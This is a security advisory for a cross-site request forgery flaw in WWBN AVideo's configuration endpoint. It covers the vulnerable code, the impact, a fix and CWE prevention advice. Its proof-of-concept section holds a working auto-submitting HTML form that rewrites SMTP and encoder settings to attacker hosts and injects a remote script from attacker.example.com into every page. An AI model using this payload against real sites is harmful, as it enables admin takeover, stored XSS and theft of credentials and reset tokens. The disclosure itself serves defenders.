GHSA-vvfw-4m39-fjqf CVE-2026-40925
WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials
- Severity
- 8.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.17%
- Chance of exploitation in the next 30 days. Higher than 6.73% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-352 Cross-Site Request Forgery (CSRF)
- Fix
- None yet
- No fixed version published
Description
Summary
objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.
Details
The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:
require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
die('{"error":"' . __("Permission denied") . '"}');
}
Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:
// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']); // :21
$config->setLanguage($_POST['language']); // :22
$config->setWebSiteTitle($_POST['webSiteTitle']); // :23
$config->setDescription($_POST['description']); // :24
$config->setAuthCanComment($_POST['authCanComment']); // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']); // :32
$config->setSmtp($_POST['smtp']); // :33
$config->setSmtpAuth($_POST['smtpAuth']); // :34
$config->setSmtpSecure($_POST['smtpSecure']); // :35
$config->setSmtpHost($_POST['smtpHost']); // :36
$config->setSmtpUsername($_POST['smtpUsername']); // :37
$config->setSmtpPassword($_POST['smtpPassword']); // :38
$config->setSmtpPort($_POST['smtpPort']); // :39
$config->setHead($_POST['head']); // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']); // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}'; // :130
Why CSRF actually lands
-
SameSite is intentionally
None.objects/include_config.php:144setsini_set('session.cookie_samesite', 'None')and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token. -
Project already ships a CSRF primitive and uses it elsewhere.
objects/functionsSecurity.php:138definesforbidIfIsUntrustedRequest(), and the peer admin endpointobjects/userUpdate.json.php:18calls it explicitly.configurationUpdate.json.phphas no such call — grepping the file confirms noforbidIfIsUntrustedRequest,verifyToken,globalToken, or Origin/Referer check. -
The request is CORS-simple. The admin UI submits with jQuery
$.ajax(...type: 'post', data: {...})(seeview/configurations_body.php:753), which sendsapplication/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a<form>with the admin's session cookie attached. -
Reachable via two paths. Direct
POST /objects/configurationUpdate.json.phpworks, and.htaccess:459also exposes it atPOST /updateConfig.
Impact primitives unlocked by a single CSRF request
setEncoderURL()— redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion inaVideoEncoder.json.php/videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.setSmtpHost/Username/Password/Port/Secure/Auth— the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.setHead()— attacker-chosen raw HTML is injected into every page's<head>, giving persistent site-wide stored XSS (e.g.<script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.logoImgBase64/faviconBase64— attacker-controlled bytes arefile_put_contents-ed into the web root undervideos/userPhoto/logo.pngandvideos/favicon.png.setContactEmail,setWebSiteTitle,setAuthCanUploadVideos,setAllow_download,setSession_timeout,setAdsense,setDisable_analytics— full site policy and branding control.
PoC
- Attacker hosts
evil.htmlon any origin:
<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
method="POST" enctype="application/x-www-form-urlencoded">
<input name="contactEmail" value="attacker@evil.com">
<input name="language" value="en">
<input name="webSiteTitle" value="Pwned">
<input name="description" value="x">
<input name="authCanComment" value="1">
<input name="authCanUploadVideos" value="1">
<input name="authCanViewChart" value="1">
<input name="disable_analytics" value="0">
<input name="allow_download" value="1">
<input name="session_timeout" value="3600">
<input name="encoder_url" value="https://attacker.example.com/Encoder/">
<input name="smtp" value="1">
<input name="smtpAuth" value="1">
<input name="smtpSecure" value="tls">
<input name="smtpHost" value="smtp.attacker.com">
<input name="smtpUsername" value="attacker">
<input name="smtpPassword" value="password">
<input name="smtpPort" value="587">
<input name="head" value='<script src="https://attacker.example.com/evil.js"></script>'>
<input name="adsense" value="x">
<input name="autoplay" value="1">
<input name="theme" value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>
-
Any user authenticated as AVideo administrator (
User::isAdmin()true) visitshttps://attacker.example.com/evil.html. Their browser submits the form cross-origin; becausesession.cookie_samesite=None,PHPSESSIDis included; because it's anapplication/x-www-form-urlencodedPOST, no preflight is sent. -
Server-side check at
configurationUpdate.json.php:10passes (User::isAdmin()is true for the victim), and the body reaches$config->save()at:130. Response:{"status":"1","respnseLogo":[],"respnseFavicon":null}The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected
<script>in the rendered<head>, and by inspectingvideos/configuration.php/ theconfigurationstable. -
Stored-XSS pivot: every subsequent visitor (including other admins) now executes
https://attacker.example.com/evil.jsfrom the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts. -
SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to
smtp.attacker.com:587withattacker:password, and any future mail from AVideo is observable by the attacker.
Impact
- Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
- Persistent stored XSS site-wide via
setHead(), affecting every visitor and enabling session hijack of other admins and users. - Credential / reset-token exfiltration via attacker-controlled SMTP relay.
- Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
- Arbitrary file write under web root via
logoImgBase64/faviconBase64. - No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.
Recommended Fix
Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:
// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check
Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 29.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 8.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Weakness
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor